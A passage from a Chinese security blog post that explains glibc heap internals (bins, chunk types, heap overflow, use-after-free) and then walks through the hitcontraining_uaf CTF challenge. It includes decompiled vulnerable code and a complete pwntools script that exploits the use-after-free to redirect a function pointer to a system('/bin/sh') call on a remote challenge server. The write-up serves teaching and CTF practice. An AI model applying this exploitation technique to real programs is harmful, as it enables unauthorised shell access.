指针获取更多空间。
bin
用户释放掉的chunk
不会马上归还给系统,ptmalloc
会统一管理heap
和mmap
映射区域中的空闲chunk
,当用户再请求分配内存,则会从bin
当中挑选一块空闲的chunk
管理,根据空闲的chunk
的大小和使用状态初步分成了四类:fast bins
、small bins
、large bins
、unsorted bin
,会使用链表将相似的chunk
链接,便于管理也降低了内存分配的开销。
fast bin
:对于size较小的chunk,释放后放入fast bin
当中,一般x64
位系统范围在32~128
字节之间,prev_inuse
=1永不合并,采取后进先出分配策略,单向链表。unsorted bin
:新释放的chunk
暂时放入其中,减少插入正确bins
中所需的开销,同时也为合并相邻的free chunks
提供便利,采取先进先出分配策略small bin
:同一个small bin里chunk的大小相同,支持合并相邻空闲chunk
,同时能尽可能提供精确内存块大小匹配,以减少内部碎片,双向链表。large bin
:用于处理超过small bins
尺寸限制的chunk,通常超过512
字节内存块,并且每组bin
中的公差都是一致的,双向链表。
chunk
glibc
的malloc
中整个堆内存空间分成连续、大小不一的chunk
,chunk总共分成4类:
allocated chunk
:已分配内存块,当请求一定量内存时,内存分配器会从堆中找一块足够大的空闲区域,并标记为已分配。free chunk
:空闲块,曾经被分配但现在已经释放回内存池中的内存块,可以与相邻的空闲块合并以创建更大的空闲块,从而减少碎片化。top chunk
:未分配的最大连续内存区域,当没有合适的空闲块满足一个较大的内存请求时,malloc
可能会尝试扩展这个顶端块以提供所需的空间。last remainder chunk
:最后剩余块,最近一次这种分割操作中产生的剩余块。它有助于优化未来的分配。
堆溢出
堆溢出指的是程序使用malloc
等函数进行动态内存分配之后,通过使用不安全的字符串处理函数向堆中写入超出其内存边界分配的数据,从而导致了溢出到其它的chunk
当中。
Use-After-Free
简称UAF
漏洞,指的是程序释放了一个内存块,但后续依旧可以继续使用或引用该已经释放的内存块产生的问题,比如使用free
函数释放内存后未置0。
例题:hitcontraining_uaf
根据输入的数字,来执行不同的函数,1=>对应添加笔记,2=>删除笔记,3=>打印笔记
int add_note()
{
int result; // eax
int v1; // esi
char buf[8]; // [esp+0h] [ebp-18h] BYREF
size_t size; // [esp+8h] [ebp-10h]
int i; // [esp+Ch] [ebp-Ch]
result = count;
if ( count > 5 )
return puts("Full");
for ( i = 0; i <= 4; ++i ) //循环5次,最多添加5个笔记
{
result = *((_DWORD *)¬elist + i);
if ( !result )
{
*((_DWORD *)¬elist + i) = malloc(8u); //通过malloc分配堆,notelist[i]
if ( !*((_DWORD *)¬elist + i) )
{
puts("Alloca Error");
exit(-1);
}
**((_DWORD **)¬elist + i) = print_note_content; //notelist[i][0]存放print_note_content函数的地址
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v1 = *((_DWORD *)¬elist + i);
*(_DWORD *)(v1 + 4) = malloc(size);
if ( !*(_DWORD *)(*((_DWORD *)¬elist + i) + 4) ) //申请第二个堆,notelist[i][1]
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *(void **)(*((_DWORD *)¬elist + i) + 4), size);//将内容写入到notelist[i][1]指向的地址当中
puts("Success !");
return ++count;
}
}
return result;
}
int del_note()
{
int result; // eax
char buf[4]; // [esp+8h] [ebp-10h] BYREF
int v2; // [esp+Ch] [ebp-Ch]
printf("Index :");
read(0, buf, 4u);
v2 = atoi(buf);
if ( v2 < 0 || v2 >= count )
{
puts("Out of bound!");
_exit(0);
}
result = *((_DWORD *)¬elist + v2); //根据nodelist的索引进行删除
if ( result )
{
free(*(void **)(*((_DWORD *)¬elist + v2) + 4)); //通过free函数直接释放掉堆,释放后的内存未置0
free(*((void **)¬elist + v2));
return puts("Success");
}
return result;
}
int print_note()
{
int result; // eax
char buf[4]; // [esp+8h] [ebp-10h] BYREF
int v2; // [esp+Ch] [ebp-Ch]
printf("Index :");
read(0, buf, 4u);
v2 = atoi(buf);
if ( v2 < 0 || v2 >= count )
{
puts("Out of bound!");
_exit(0);
}
result = *((_DWORD *)¬elist + v2);
if ( result )
return (**((int (__cdecl ***)(_DWORD))¬elist + v2))(*((_DWORD *)¬elist + v2));//将print_note_content还能输的地址作为参数,print_note_content会通过puts输出传入地址下一地址的内容,即nodelist[i][0]
return result;
}
int magic()
{
return system("/bin/sh");
}
同时存在magic
,能直接调用shell
,这题的思路就是通过UAF
漏洞,通过print_note
函数,将notelist[i][0]
即print_note_content指向magic()
函数返回获得 shell
当我们通过add_note
添加笔记,最终都如下图。
当通过free
函数对notelist回收,创建的堆块会进入fast bin
当中(单链表、后进先出),由于我本地是glibc 2.26之后
因此是tcachebins,通过add_note
添加了两个note,共是4个堆块,并进行回收,当再申请的时候,则会申请到0x10两个堆块,覆盖指向print_note_content
的指针指向magic
payload如下:
from pwn import *
context.log_level = 'debug'
io = remote("node5.buuoj.cn", 27407)
def add_note(size, content):
io.sendlineafter(b'Your choice :', "1")
io.sendlineafter(b'Note size :', str(size))
io.sendlineafter(b'Content :', content)
def del_note(index):
io.sendlineafter(b'Your choice :', "2")
io.sendlineafter(b'Index :', str(index))
def print_note(index):
io.sendlineafter(b'Your choice :', "3")
io.sendlineafter(b'Index :', str(index))
add_note(32, b'aaaa')
add_note(32, b'bbbb')
del_note(0)
del_note(1)
magic_addr =0x8048945
add_note(8, p32(magic_addr))
print_note(0)
io.interactive()


文章标题:PWN
文章链接:https://aiwin.fun/index.php/archives/4430/
最后编辑:2025 年 2 月 22 日 09:32 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)